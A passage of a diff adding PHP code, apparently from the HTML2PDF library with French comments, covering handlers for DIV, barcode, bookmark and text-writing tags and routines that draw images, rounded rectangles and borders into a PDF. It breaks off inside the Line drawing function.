+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_NOBREAK($param)
+		{
+			$this->maxH = 0;
+			
+		}
+		
+		/**
+		* balise : DIV
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_DIV($param, $other = 'div')
+		{
+			$this->style->save();
+			$this->style->analyse($other, $param);
+			$this->style->FontSet();
+
+			$align_object = null;
+			if ($this->style->value['margin-auto']) $align_object = 'center';
+
+			$marge = array();
+			$marge['l'] = $this->style->value['border']['l']['width'] + $this->style->value['padding']['l']+0.03;
+			$marge['r'] = $this->style->value['border']['r']['width'] + $this->style->value['padding']['r']+0.03;
+			$marge['t'] = $this->style->value['border']['t']['width'] + $this->style->value['padding']['t']+0.03;
+			$marge['b'] = $this->style->value['border']['b']['width'] + $this->style->value['padding']['b']+0.03;
+			
+			// on extrait tout ce qui est contenu dans la DIV
+			$res = $this->parsing->getLevel($this->parse_pos);
+
+			// on en créé un sous HTML que l'on transforme en PDF
+			// pour analyse les dimensions
+			$w = 0; $h = 0;
+			if (trim($res[1]))
+			{
+				$sub = null;
+				$this->CreateSubHTML($sub);
+				$sub->writeHTML($res[1]);				
+				$w = $sub->maxX;
+				$h = $sub->maxY;
+				unset($sub);
+			}
+
+			$w+= $marge['l']+$marge['r'];
+			$h+= $marge['t']+$marge['b'];
+			
+			$this->style->value['width']	= max($w, $this->style->value['width']);
+			$this->style->value['height']	= max($h, $this->style->value['height']);
+			
+			if (!$this->style->value['position'])
+			{
+				if (
+					$this->style->value['width'] < ($this->pdf->w - $this->pdf->lMargin-$this->pdf->rMargin) &&
+					$this->pdf->x + $this->style->value['width']>=($this->pdf->w - $this->pdf->rMargin)
+					)
+					$this->o_BR(array());
+	
+				if (
+						$this->style->value['height'] < ($this->pdf->h - $this->pdf->tMargin-$this->pdf->bMargin) &&
+						$this->pdf->y + $this->style->value['height']>=($this->pdf->h - $this->pdf->bMargin)
+					)
+					$this->setNewPage();
+				
+				// en cas d'alignement => correction
+				$w = $this->style->value['width'];
+				$old = isset($this->style->table[count($this->style->table)-1]) ? $this->style->table[count($this->style->table)-1] : $this->style->value;
+				$parent_w = $old['width'] ? $old['width'] : $this->pdf->w - $this->pdf->lMargin - $this->pdf->rMargin;
+				
+				if ($parent_w>$w)
+				{				
+					if ($align_object=='center')		$this->pdf->x = $this->pdf->x + ($parent_w-$w)*0.5;
+					else if ($align_object=='right')	$this->pdf->x = $this->pdf->x + $parent_w-$w;
+				}
+				
+				$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			}
+			else
+			{
+				$this->style->setPosition($this->pdf->x, $this->pdf->y);
+				$this->saveMax();
+				$this->saveX = 0;
+				$this->saveY = 0;
+				$this->saveH = 0;
+			}		
+			
+			// initialisation du style des bordures de la premiere partie de tableau
+			$this->Rectangle(
+					$this->style->value['x'],
+					$this->style->value['y'],
+					$this->style->value['width'],
+					$this->style->value['height'],
+					$this->style->value['border'],
+					$this->style->value['padding'],
+					0,
+					$this->style->value['background']
+				);
+
+			
+			$marge = array();
+			$marge['l'] = $this->style->value['border']['l']['width'] + $this->style->value['padding']['l']+0.03;
+			$marge['r'] = $this->style->value['border']['r']['width'] + $this->style->value['padding']['r']+0.03;
+			$marge['t'] = $this->style->value['border']['t']['width'] + $this->style->value['padding']['t']+0.03;
+			$marge['b'] = $this->style->value['border']['b']['width'] + $this->style->value['padding']['b']+0.03;
+
+			$this->style->value['width']	= $this->style->value['width']-$marge['l']-$marge['r'];
+			$this->style->value['height']	= $this->style->value['height']-$marge['r']-$marge['b'];
+
+			// limitation des marges aux dimensions de la div
+			$mL = $this->style->value['x']+$marge['l'];
+			$mR = $this->pdf->w - $mL - $this->style->value['width'];
+			$this->saveMargin($mL, 0, $mR);
+			
+			// positionnement en fonction
+			$h_corr = $this->style->value['height'];
+			$h_reel = $h-$marge['b']-$marge['t'];
+			switch($this->style->value['vertical-align'])
+			{
+				case 'bottom':
+					$y_corr = $h_corr-$h_reel;
+					break;
+					
+				case 'middle':
+					$y_corr = ($h_corr-$h_reel)*0.5;
+					break;
+					
+				case 'top':
+				default:
+					$y_corr = 0;
+					break;	
+			}
+			
+			$this->pdf->setX($this->style->value['x']+$marge['l']);
+			$this->pdf->setY($this->style->value['y']+$marge['t']+$y_corr);
+			
+		}
+		function o_BLOCKQUOTE($param) { $this->o_DIV($param, 'blockquote'); }
+		
+		/**
+		* balise : DIV
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_DIV($param)
+		{
+			$marge = array();
+			$marge['l'] = $this->style->value['border']['l']['width'] + $this->style->value['padding']['l']+0.03;
+			$marge['r'] = $this->style->value['border']['r']['width'] + $this->style->value['padding']['r']+0.03;
+			$marge['t'] = $this->style->value['border']['t']['width'] + $this->style->value['padding']['t']+0.03;
+			$marge['b'] = $this->style->value['border']['b']['width'] + $this->style->value['padding']['b']+0.03;
+			
+			$x = $this->style->value['x'];
+			$y = $this->style->value['y'];
+			$w = $this->style->value['width']+$marge['l']+$marge['r'];
+			$h = $this->style->value['height']+$marge['t']+$marge['b'];
+
+			// correction pour les margins
+			$w+= $this->style->value['margin']['r'];
+			$h+= $this->style->value['margin']['b'];
+
+			if ($this->style->value['position']!='absolute')
+			{
+				// position
+				$this->pdf->x = $x+$w; 	
+				$this->pdf->y = $y;
+				 	
+				// position MAX
+				$this->maxX = max($this->maxX, $x+$w);
+				$this->maxY = max($this->maxY, $y+$h);
+		 		$this->maxH = max($this->maxH, $h);
+			}
+			else
+			{
+				// position
+				$this->pdf->x = $this->style->value['xc']; 	
+				$this->pdf->y = $this->style->value['yc'];
+				 	
+				$this->loadMax();
+			}
+	 	
+	 		$block = ($this->style->value['display']!='inline' && $this->style->value['position']!='absolute');
+	 		
+	 		$this->style->load();
+			$this->style->FontSet();
+			$this->loadMargin();
+			
+			if ($block) $this->o_BR(array());
+		}
+		function c_BLOCKQUOTE($param) { $this->c_DIV($param); }
+		
+		/**
+		* balise : BARCODE
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_BARCODE($param)
+		{
+			
+			$lst_barcode = array(
+								'EAN13'		=> '0.35mm',
+								'UPC_A'		=> '0.35mm',
+								'CODE39'	=> '1.00mm',
+							);
+			if (isset($param['type'])) $param['type'] = strtoupper($param['type']);
+			
+			if (!isset($param['type']) || !isset($lst_barcode[$param['type']])) $param['type']=='CODE39';
+			if (!isset($param['value']))	$param['value']	= 0;
+			if (!isset($param['bar_w']))	$param['bar_w']	= $lst_barcode[$param['type']];
+			if (!isset($param['bar_h']))	$param['bar_h']	= '10mm';
+			
+			if (!isset($param['style']['color'])) $param['style']['color'] = '#000000';
+			$param['style']['background-color'] = $param['style']['color'];
+			
+			$this->style->save();
+			$this->style->analyse('barcode', $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+			
+			
+			$x = $this->pdf->getX();
+			$y = $this->pdf->getY();
+			$w = $this->style->ConvertToMM($param['bar_w']);
+			$h = $this->style->ConvertToMM($param['bar_h']);
+
+			$infos = $this->pdf->{'BARCODE_'.$param['type']}($x, $y, $param['value'], $h, $w);
+
+			// position maximale globale
+			$this->maxX = max($this->maxX, $x+$infos[0]);
+			$this->maxY = max($this->maxY, $y+$infos[1]);
+ 			$this->maxH = max($this->maxH, $infos[1]);
+ 			
+ 			$this->pdf->setX($x+$infos[0]);
+ 			
+			$this->style->load();
+			$this->style->FontSet();
+		}
+		
+		/**
+		* balise : BARCODE
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_BARCODE($param)
+		{
+			// completement inutile
+		}
+
+		/**
+		* balise : BOOKMARK
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_BOOKMARK($param)
+		{
+			$titre = isset($param['title']) ? trim($param['title']) : '';
+			$level = isset($param['level']) ? floor($param['level']) : 0;
+			
+			if ($level<0) $level = 0;
+			if ($titre) $this->pdf->Bookmark($titre, $level, -1);
+		}
+			
+		/**
+		* balise : BOOKMARK
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_BOOKMARK($param)
+		{
+			// completement inutile
+		}
+					
+		/**
+		* balise : WRITE
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_WRITE($param)
+		{
+			$fill = false; //($this->style->value['background']['color']!=null);
+
+			// récupération du texte à écrire, et conversion
+			$txt = $param['txt'];
+			$txt = str_replace('&euro;', '', $txt);
+
+			if ($this->isAfterFloat)
+			{
+				$txt = preg_replace('/^([\s]*)([^\s])/isU', '$2', $txt);
+				$this->isAfterFloat = false;
+			}
+
+			$txt = html_entity_decode($txt, ENT_QUOTES, 'ISO-8859-15');
+//			$txt = utf8_decode(html_entity_decode($txt, ENT_QUOTES, 'UTF-8'));
+
+			$txt = str_replace('[[page_cu]]',	$this->pdf->PageNo(),	$txt);
+			
+			// tailles du texte
+			$h	= 1.08*$this->style->value['font-size'];
+			$dh	= $h*$this->style->value['mini-decal'];
+				
+			$w = $this->pdf->GetStringWidth($txt);
+
+			// identification de l'alignement
+			$align = 'L';		
+			if ($this->style->value['text-align']!='left')
+			{
+				$w = $this->style->value['width'];					
+				if ($this->style->value['text-align']=='center') $align = 'C';		
+				if ($this->style->value['text-align']=='right') $align = 'R';
+			}
+			
+			$maxX = 0;										// plus grande largeur du texte apres retour à la ligne
+			$x = $this->pdf->getX();						// position du texte
+			$y = $this->pdf->getY();
+			$w = $this->pdf->GetStringWidth($txt);			// largeur du texte
+			list($left, $right) = $this->getMargins($y);	// marges autorisees
+			$nb = 0;										// nbr de lignes découpées
+	
+			// tant que ca ne rentre pas sur la ligne et qu'on a du texte => on découpe
+			while($x+$w>$right && $x<$right && strlen($txt))
+			{
+				// liste des mots
+				$lst = explode(' ', $txt);
+				
+				// trouver une phrase qui rentre dans la largeur, en ajoutant les mots 1 à 1
+				$i=0;
+				$old = '';
+				$str = $lst[0];
+				while(($x+$this->pdf->GetStringWidth($str))<=$right)
+				{
+					unset($lst[$i]);
+					$old = $str;
+
+					$i++;
+					$str.= ' '.$lst[$i];
+				}
+				$str = $old;
+				
+				// si rien de rentre, et que le premier mot ne rentre de toute facon pas dans une ligne, on le force...
+				if ($i==0 && (($left+$this->pdf->GetStringWidth($lst[0]))>=$right))
+				{
+					$str = $lst[0];
+					unset($lst[0]);						
+				}
+				
+				// récupération des mots restant, et calcul de la largeur
+				$txt = implode(' ', $lst);
+				$w = $this->pdf->GetStringWidth($str);
+
+				// ecriture du bout de phrase extrait et qui rentre
+				$wc = ($align=='L' ? $w : $this->style->value['width']);
+				if ($right - $left<$wc) $wc = $right - $left;
+				$this->pdf->Cell($wc, $h+$dh, $str, 0, 0, $align, $fill, $this->inLink);
+				$this->maxH = max($this->maxH, $this->style->getLineHeight());
+				
+				// détermination de la largeur max
+				$maxX = max($maxX, $this->pdf->getX());
+
+				// nouvelle position et nouvelle largeur pour la boucle
+				$w = $this->pdf->GetStringWidth($txt);
+				$y = $this->pdf->getY();
+				$x = $this->pdf->getX();
+
+				// si il reste du text à afficher
+				if (strlen($txt))
+				{
+					// retour à la ligne
+					$this->o_BR(array('style' => ''));
+
+					$y = $this->pdf->getY();
+					$x = $this->pdf->getX();
+					
+					// si la prochaine ligne ne rentre pas dans la page => nouvelle page 
+					if ($y + $h>$this->pdf->h - $this->pdf->bMargin) $this->setNewPage();
+				
+					// ligne suplémentaire. au bout de 1000 : trop long => erreur
+					$nb++;
+					if ($nb>1000) HTML2PDF::makeError(2, __FILE__, __LINE__, array($txt, $right-$left, $this->pdf->GetStringWidth($txt))); 
+
+					list($left, $right) = $this->getMargins($y);	// marges autorisees
+				}
+			}
+
+			// si il reste du text apres découpe, c'est qu'il rentre direct => on l'affiche
+			if (strlen($txt))
+			{
+				$this->pdf->Cell(($align=='L' ? $w : $this->style->value['width']), $h+$dh, $txt, 0, 0, $align, $fill, $this->inLink);
+				$this->maxH = max($this->maxH, $this->style->getLineHeight());
+			}
+			
+			// détermination des positions MAX
+			$maxX = max($maxX, $this->pdf->getX());
+			$maxY = $this->pdf->getY()+$h;
+
+			// position maximale globale
+			$this->maxX = max($this->maxX, $maxX);
+			$this->maxY = max($this->maxY, $maxY);
+		}
+
+		/**
+		* tracer une image
+		* 
+		* @param	string	nom du fichier source
+		* @return	null
+		*/	
+		function Image($src, $sub_li=false)
+		{
+			// est-ce que c'est une image ?
+			$infos=@GetImageSize($src);
+
+			if (count($infos)<2)
+			{
+				HTML2PDF::makeError(6, __FILE__, __LINE__, $src);
+				return false;
+			}
+			
+			// récupération des dimensions dans l'unité du PDF
+			$wi = $infos[0]/$this->pdf->k;
+			$hi = $infos[1]/$this->pdf->k;
+			
+			// détermination des dimensions d'affichage en fonction du style
+			if ($this->style->value['width'] && $this->style->value['height'])
+			{
+				$w = $this->style->value['width'];
+				$h = $this->style->value['height'];
+			}
+			else if ($this->style->value['width'])
+			{
+				$w = $this->style->value['width'];
+				$h = $hi*$w/$wi;
+				
+			}
+			else if ($this->style->value['height'])
+			{
+				$h = $this->style->value['height'];
+				$w = $wi*$h/$hi;
+			}
+			else
+			{
+				$w = 72./96.*$wi;
+				$h = 72./96.*$hi;					
+			}
+			
+			// detection du float
+			$float = $this->style->getFloat();
+			if ($float && $this->maxH) $this->o_BR(array());
+
+			// position d'affichage
+			$x = $this->pdf->getX();
+			$y = $this->pdf->getY();
+			
+			// si l'image ne rentre pas dans la page => nouvelle page 
+			if ($y + $h>$this->pdf->h - $this->pdf->bMargin)
+			{
+				$this->setNewPage();
+				$x = $this->pdf->getX();
+				$y = $this->pdf->getY();
+			}
+
+			// correction pour l'affichage d'une puce image
+			$hT = 0.80*$this->style->value['font-size'];
+			if ($sub_li && $h<$hT)
+			{
+				$y+=($hT-$h);
+			}
+
+			$yc = $y-$this->style->value['margin']['t'];
+
+			// détermination de la position réelle d'affichage en fonction du text-align du parent
+			$old = isset($this->style->table[count($this->style->table)-1]) ? $this->style->table[count($this->style->table)-1] : $this->style->value;
+
+			if ( $old['width'])
+			{
+				$parent_w = $old['width'];
+				$parent_x = $x;
+			}
+			else
+			{
+ 				$parent_w = $this->pdf->w - $this->pdf->lMargin - $this->pdf->rMargin;
+				$parent_x = $this->pdf->lMargin;
+			}
+			
+			if ($float)
+			{
+				list($lx, $rx) = $this->getMargins($yc);
+				$parent_x = $lx;
+				$parent_w = $rx-$lx;
+			}
+
+			if ($parent_w>$w && $float!='left')
+			{
+				if ($float=='right' || $this->style->value['text-align']=='right')	$x = $parent_x + $parent_w - $w-$this->style->value['margin']['r']-$this->style->value['margin']['l'];
+				else if ($this->style->value['text-align']=='center')				$x = $parent_x + 0.5*($parent_w - $w);
+			}
+			
+			// affichage de l'image, et positionnement à la suite
+			if (!$this->sub_part && !$this->isSubPart) $this->pdf->Image($src, $x, $y, $w, $h, '', $this->inLink);
+
+			$x-= $this->style->value['margin']['l'];
+			$y-= $this->style->value['margin']['t'];
+			$w+= $this->style->value['margin']['l'] + $this->style->value['margin']['r'];
+			$h+= $this->style->value['margin']['t'] + $this->style->value['margin']['b'];
+
+			if ($float=='left')
+			{
+				$this->maxX = max($this->maxX, $x+$w);
+				$this->maxY = max($this->maxY, $y+$h);
+
+				$this->addMargins($float, $x, $y, $x+$w, $y+$h);
+
+				list($lx, $rx) = $this->getMargins($yc);
+				$this->pdf->x = $lx;
+				$this->pdf->y = $yc;				
+	 		}
+			else if ($float=='right')
+			{
+//				$this->maxX = max($this->maxX, $x+$w);
+				$this->maxY = max($this->maxY, $y+$h);
+
+				$this->addMargins($float, $x, $y, $x+$w, $y+$h);
+
+				list($lx, $rx) = $this->getMargins($yc);
+				$this->pdf->x = $lx;
+				$this->pdf->y = $yc;
+			}
+			else
+			{
+				$this->pdf->SetX($x+$w);
+				$this->maxX = max($this->maxX, $x+$w);
+				$this->maxY = max($this->maxY, $y+$h);
+	 			$this->maxH = max($this->maxH, $h);
+			}
+		}
+		
+		/**
+		* Tracer un rectanble
+		* 
+		* @param	float	position X
+		* @param	float	position Y
+		* @param	float	Largeur
+		* @param	float	Hauteur
+		* @param	array	Tableau de style de définition des borders
+		* @param	float	padding - marge intérieur au rectangle => non utile mais on le passe en paramètre
+		* @param	float	margin - marge exterieur au rectangle
+		* @param	array	Tableau de style de définition du background
+		* @return	null
+		*/	
+		function Rectangle($x, $y, $w, $h, $border, $padding, $margin, $background)
+		{
+			if ($this->sub_part || $this->isSubPart) return false;
+			if ($h===null) return false;
+			
+			$x+= $margin;
+			$y+= $margin;
+			$w-= $margin*2;
+			$h-= $margin*2;
+			
+			// récupération des radius
+			$radius_h = $border['radius'][0];
+			$radius_v = $border['radius'][1];
+			
+			// verification des coins en radius
+			$coin_TL = ($radius_h && $radius_v && $radius_v>$border['t']['width'] && $radius_h>$border['l']['width']) ? array($radius_h, $radius_v) : null;
+			$coin_TR = ($radius_h && $radius_v && $radius_v>$border['t']['width'] && $radius_h>$border['r']['width']) ? array($radius_h, $radius_v) : null;
+			$coin_BL = ($radius_h && $radius_v && $radius_v>$border['b']['width'] && $radius_h>$border['l']['width']) ? array($radius_h, $radius_v) : null;
+			$coin_BR = ($radius_h && $radius_v && $radius_v>$border['b']['width'] && $radius_h>$border['r']['width']) ? array($radius_h, $radius_v) : null;
+			
+
+
+			// traitement de la couleur de fond
+			$STYLE = '';
+			if ($background['color'])
+			{
+				$this->pdf->SetFillColor($background['color'][0], $background['color'][1], $background['color'][2]);
+				$STYLE.= 'F';		
+			}
+			
+			if ($STYLE)
+			{
+				$this->pdf->clippingPathOpen($x, $y, $w, $h, $coin_TL,$coin_TR, $coin_BL, $coin_BR);		
+				$this->pdf->Rect($x, $y, $w, $h, $STYLE);
+				$this->pdf->clippingPathClose();		
+			}
+			
+			// traitement de l'image de fond
+			if ($background['image'])
+			{
+				$i_name		= $background['image'];
+				$i_position	= $background['position']!==null	? $background['position']	: array(0, 0);
+				$i_repeat	= $background['repeat']!==null		? $background['repeat']		: array(true, true);
+				
+				// taile du fond (il faut retirer les borders
+				$b_x = $x;
+				$b_y = $y;
+				$b_w = $w;
+				$b_h = $h;
+				
+				if ($border['b']['width']) { $b_h-= $border['b']['width']; }
+				if ($border['l']['width']) { $b_w-= $border['l']['width']; $b_x+= $border['l']['width']; }
+				if ($border['t']['width']) { $b_h-= $border['t']['width']; $b_y+= $border['t']['width']; }
+				if ($border['r']['width']) { $b_w-= $border['r']['width']; }
+
+				// est-ce que c'est une image ?
+				$i_infos=@GetImageSize($i_name);
+	
+				if (count($i_infos)<2)
+				{
+					HTML2PDF::makeError(6, __FILE__, __LINE__, $i_name);
+					return false;
+				}
+				
+				// récupération des dimensions dans l'unité du PDF
+				$i_width	= 72./96.*$i_infos[0]/$this->pdf->k;
+				$i_height	= 72./96.*$i_infos[1]/$this->pdf->k;
+				
+				if ($i_repeat[0]) $i_position[0] = $b_x;
+				else if(preg_match('/^([-]?[0-9\.]+)%/isU', $i_position[0], $match)) $i_position[0] = $b_x + $match[1]*($b_w-$i_width)/100;
+				else $i_position[0] = $b_x+$i_position[0];
+			
+				if ($i_repeat[1]) $i_position[1] = $b_y;
+				else if(preg_match('/^([-]?[0-9\.]+)%/isU', $i_position[1], $match)) $i_position[1] = $b_y + $match[1]*($b_h-$i_height)/100;
+				else $i_position[1] = $b_y+$i_position[1];
+				
+				$i_x_min = $b_x;
+				$i_x_max = $b_x+$b_w;
+				$i_y_min = $b_y;
+				$i_y_max = $b_y+$b_h;
+				
+				if (!$i_repeat[0] && !$i_repeat[1])
+				{
+					$i_x_min = 	$i_position[0]; $i_x_max = 	$i_position[0]+$i_width;
+					$i_y_min = 	$i_position[1]; $i_y_max = 	$i_position[1]+$i_height;					
+				}
+				else if ($i_repeat[0] && !$i_repeat[1])
+				{
+					$i_y_min = 	$i_position[1]; $i_y_max = 	$i_position[1]+$i_height;					
+				}
+				elseif (!$i_repeat[0] && $i_repeat[1])
+				{
+					$i_x_min = 	$i_position[0]; $i_x_max = 	$i_position[0]+$i_width;
+				}
+				
+				if (is_array($coin_TL)) { $coin_TL[0]-= $border['l']['width']; $coin_TL[1]-= $border['t']['width']; }
+				if (is_array($coin_TR)) { $coin_TR[0]-= $border['r']['width']; $coin_TR[1]-= $border['t']['width']; }
+				if (is_array($coin_BL)) { $coin_BL[0]-= $border['l']['width']; $coin_BL[1]-= $border['b']['width']; }
+				if (is_array($coin_BR)) { $coin_BR[0]-= $border['r']['width']; $coin_BR[1]-= $border['b']['width']; }
+				
+				$this->pdf->clippingPathOpen($b_x, $b_y, $b_w, $b_h, $coin_TL, $coin_TR, $coin_BL, $coin_BR);		
+				for ($i_y=$i_y_min; $i_y<$i_y_max; $i_y+=$i_height)
+				{
+					for ($i_x=$i_x_min; $i_x<$i_x_max; $i_x+=$i_width)
+					{
+						$c_x = null;
+						$c_y = null;
+						$c_w = $i_width;
+						$c_h = $i_height;
+						if ($i_y_max-$i_y<$i_height)
+						{
+							$c_x = $i_x;
+							$c_y = $i_y;
+							$c_h = $i_y_max-$i_y;
+						}
+						if ($i_x_max-$i_x<$i_width)
+						{
+							$c_x = $i_x;
+							$c_y = $i_y;
+							$c_w = $i_x_max-$i_x;
+						}
+
+						$this->pdf->Image($i_name, $i_x, $i_y, $i_width, $i_height, '', '');						
+					}
+				}
+				$this->pdf->clippingPathClose();
+			}
+						
+			$x-= 0.01;
+			$y-= 0.01;
+			$w+= 0.02;
+			$h+= 0.02;
+			if ($border['b']['width']) $border['b']['width']+= 0.02;
+			if ($border['l']['width']) $border['l']['width']+= 0.02;
+			if ($border['t']['width']) $border['t']['width']+= 0.02;
+			if ($border['r']['width']) $border['r']['width']+= 0.02;
+			
+			if ($border['b']['width'] && $border['b']['color'][0]!==null)
+			{
+				$pt = array();
+				$pt[] = $x+$w;							$pt[] = $y+$h;
+				$pt[] = $x+$w-$border['r']['width'];	$pt[] = $y+$h;
+				$pt[] = $x+$border['l']['width'];		$pt[] = $y+$h;
+				$pt[] = $x;								$pt[] = $y+$h;
+				$pt[] = $x+$border['l']['width'];		$pt[] = $y+$h-$border['b']['width'];
+				$pt[] = $x+$w-$border['r']['width'];	$pt[] = $y+$h-$border['b']['width'];
+				
+				$bord = 3;			
+				if (is_array($coin_BL))
+				{
+					$bord-=2;
+					$pt[4] += $radius_h-$border['l']['width'];
+					$pt[8] += $radius_h-$border['l']['width'];
+					unset($pt[6]);unset($pt[7]);
+				}
+				if (is_array($coin_BR))
+				{
+					$courbe = array();
+					$courbe[] = $x+$w; 							$courbe[] = $y+$h-$radius_v;
+					$courbe[] = $x+$w-$radius_h; 				$courbe[] = $y+$h;
+					$courbe[] = $x+$w-$border['r']['width'];	$courbe[] = $y+$h-$radius_v;
+					$courbe[] = $x+$w-$radius_h;				$courbe[] = $y+$h-$border['b']['width'];
+					$courbe[] = $x+$w-$radius_h;				$courbe[] = $y+$h-$radius_v;
+					$this->Courbe($courbe, $border['b']['color']);
+
+					$bord-=1;
+					$pt[2] -= $radius_h-$border['r']['width'];
+					$pt[10]-= $radius_h-$border['r']['width'];
+					unset($pt[0]);unset($pt[1]);
+					
+				}
+
+				$pt = array_values($pt);
+				$this->Line($pt, $border['b']['color'], $border['b']['type'], $border['b']['width'], $bord);
+			}
+
+			if ($border['l']['width'] && $border['l']['color'][0]!==null)
+			{
+				$pt = array();
+				$pt[] = $x;								$pt[] = $y+$h;
+				$pt[] = $x;								$pt[] = $y+$h-$border['b']['width'];
+				$pt[] = $x;								$pt[] = $y+$border['t']['width'];
+				$pt[] = $x;								$pt[] = $y;
+				$pt[] = $x+$border['l']['width'];		$pt[] = $y+$border['t']['width'];
+				$pt[] = $x+$border['l']['width'];		$pt[] = $y+$h-$border['b']['width'];
+
+				$bord = 3;			
+				if (is_array($coin_BL))
+				{
+					$courbe = array();
+					$courbe[] = $x+$radius_h; 				$courbe[] = $y+$h;
+					$courbe[] = $x; 						$courbe[] = $y+$h-$radius_v;
+					$courbe[] = $x+$radius_h;				$courbe[] = $y+$h-$border['b']['width'];
+					$courbe[] = $x+$border['l']['width'];	$courbe[] = $y+$h-$radius_v;
+					$courbe[] = $x+$radius_h;				$courbe[] = $y+$h-$radius_v;
+					$this->Courbe($courbe, $border['l']['color']);
+					
+					$bord-=1;
+					$pt[3] -= $radius_v-$border['b']['width'];
+					$pt[11]-= $radius_v-$border['b']['width'];	
+					unset($pt[0]);unset($pt[1]);
+				}
+				if (is_array($coin_TL))
+				{
+					$bord-=2;
+					$pt[5] += $radius_v-$border['t']['width'];
+					$pt[9] += $radius_v-$border['t']['width'];
+					unset($pt[6]);unset($pt[7]);
+				}
+				
+				$pt = array_values($pt);
+				$this->Line($pt, $border['l']['color'], $border['l']['type'], $border['l']['width'], $bord);
+			}
+			
+			if ($border['t']['width'] && $border['t']['color'][0]!==null)
+			{
+				$pt = array();
+				$pt[] = $x;								$pt[] = $y;
+				$pt[] = $x+$border['l']['width'];		$pt[] = $y;
+				$pt[] = $x+$w-$border['r']['width'];	$pt[] = $y;
+				$pt[] = $x+$w;							$pt[] = $y;
+				$pt[] = $x+$w-$border['r']['width'];	$pt[] = $y+$border['t']['width'];
+				$pt[] = $x+$border['l']['width'];		$pt[] = $y+$border['t']['width'];
+
+				$bord = 3;			
+				if (is_array($coin_TL))
+				{
+					$courbe = array();
+					$courbe[] = $x; 						$courbe[] = $y+$radius_v;
+					$courbe[] = $x+$radius_h; 				$courbe[] = $y;
+					$courbe[] = $x+$border['l']['width'];	$courbe[] = $y+$radius_v;
+					$courbe[] = $x+$radius_h;				$courbe[] = $y+$border['t']['width'];
+					$courbe[] = $x+$radius_h;				$courbe[] = $y+$radius_v;
+					$this->Courbe($courbe, $border['t']['color']);
+
+					$bord-=1;
+					$pt[2] += $radius_h-$border['l']['width'];
+					$pt[10]+= $radius_h-$border['l']['width'];
+					unset($pt[0]);unset($pt[1]);
+				}
+				if (is_array($coin_TR))
+				{
+					$bord-=2;
+					$pt[4] -= $radius_h-$border['r']['width'];
+					$pt[8] -= $radius_h-$border['r']['width'];
+					unset($pt[6]);unset($pt[7]);
+				}
+				
+				$pt = array_values($pt);
+				$this->Line($pt, $border['t']['color'], $border['t']['type'], $border['t']['width'], $bord);
+			}
+
+			if ($border['r']['width'] && $border['r']['color'][0]!==null)
+			{
+				$pt = array();
+				$pt[] = $x+$w;								$pt[] = $y;
+				$pt[] = $x+$w;								$pt[] = $y+$border['t']['width'];
+				$pt[] = $x+$w;								$pt[] = $y+$h-$border['b']['width'];
+				$pt[] = $x+$w;								$pt[] = $y+$h;
+				$pt[] = $x+$w-$border['r']['width'];		$pt[] = $y+$h-$border['b']['width'];
+				$pt[] = $x+$w-$border['r']['width'];		$pt[] = $y+$border['t']['width'];
+				
+				$bord = 3;			
+				if (is_array($coin_TR))
+				{
+					$courbe = array();
+					$courbe[] = $x+$w-$radius_h; 				$courbe[] = $y;
+					$courbe[] = $x+$w; 							$courbe[] = $y+$radius_v;
+					$courbe[] = $x+$w-$radius_h;				$courbe[] = $y+$border['t']['width'];
+					$courbe[] = $x+$w-$border['r']['width'];	$courbe[] = $y+$radius_v;
+					$courbe[] = $x+$w-$radius_h;				$courbe[] = $y+$radius_v;
+					$this->Courbe($courbe, $border['r']['color']);
+
+					$bord-=1;
+					$pt[3] += $radius_v-$border['t']['width'];
+					$pt[11]+= $radius_v-$border['t']['width'];
+					unset($pt[0]);unset($pt[1]);
+				}
+				if (is_array($coin_BR))
+				{
+					$bord-=2;
+					$pt[5] -= $radius_v-$border['b']['width'];
+					$pt[9] -= $radius_v-$border['b']['width'];
+					unset($pt[6]);unset($pt[7]);
+				}
+				
+				$pt = array_values($pt);
+				$this->Line($pt, $border['r']['color'], $border['r']['type'], $border['r']['width'], $bord);
+			}
+
+			if ($background) $this->pdf->SetFillColor($background['color'][0], $background['color'][1], $background['color'][2]);
+		}
+		
+		function Courbe($pt, $color)
+		{
+			$this->pdf->SetFillColor($color[0], $color[1], $color[2]);
+			
+			$this->pdf->drawCourbe($pt[0], $pt[1], $pt[2], $pt[3], $pt[4], $pt[5], $pt[6], $pt[7], $pt[8], $pt[9]);
+		}
+		
+		/**
+		* Tracer une ligne epaisse défini par ses points avec des extreminites en biseau
+		* 
+		* @param	array	liste des points definissant le tour de la ligne
+		* @param	float	couleur RVB
+		* @param	string	type de ligne
+		* @param	float	largeur de la ligne
+		* @return	null
+		*/	
+		function Line($pt, $color, $type, $width, $bord=3)
+		{
+			$this->pdf->SetFillColor($color[0], $color[1], $color[2]);
+			if ($type=='dashed' || $type=='dotted')
+			{
+				if ($bord==1)
+				{
+					$tmp = array(); $tmp[]=$pt[0]; $tmp[]=$pt[1]; $tmp[]=$pt[2]; $tmp[]=$pt[3]; $tmp[]=$pt[8]; $tmp[]=$pt[9];
+					$this->pdf->Polygon($tmp, 'F');
+					
+					$tmp = array(); $tmp[]=$pt[2]; $tmp[]=$pt[3]; $tmp[]=$pt[4]; $tmp[]=$pt[5]; $tmp[]=$pt[6]; $tmp[]=$pt[7]; $tmp[]=$pt[8]; $tmp[]=$pt[9];
+					$pt = $tmp;
+				}
+				else if ($bord==2)
+				{
+					$tmp = array(); $tmp[]=$pt[2]; $tmp[]=$pt[3]; $tmp[]=$pt[4]; $tmp[]=$pt[5]; $tmp[]=$pt[6]; $tmp[]=$pt[7];
+					$this->pdf->Polygon($tmp, 'F');
+					
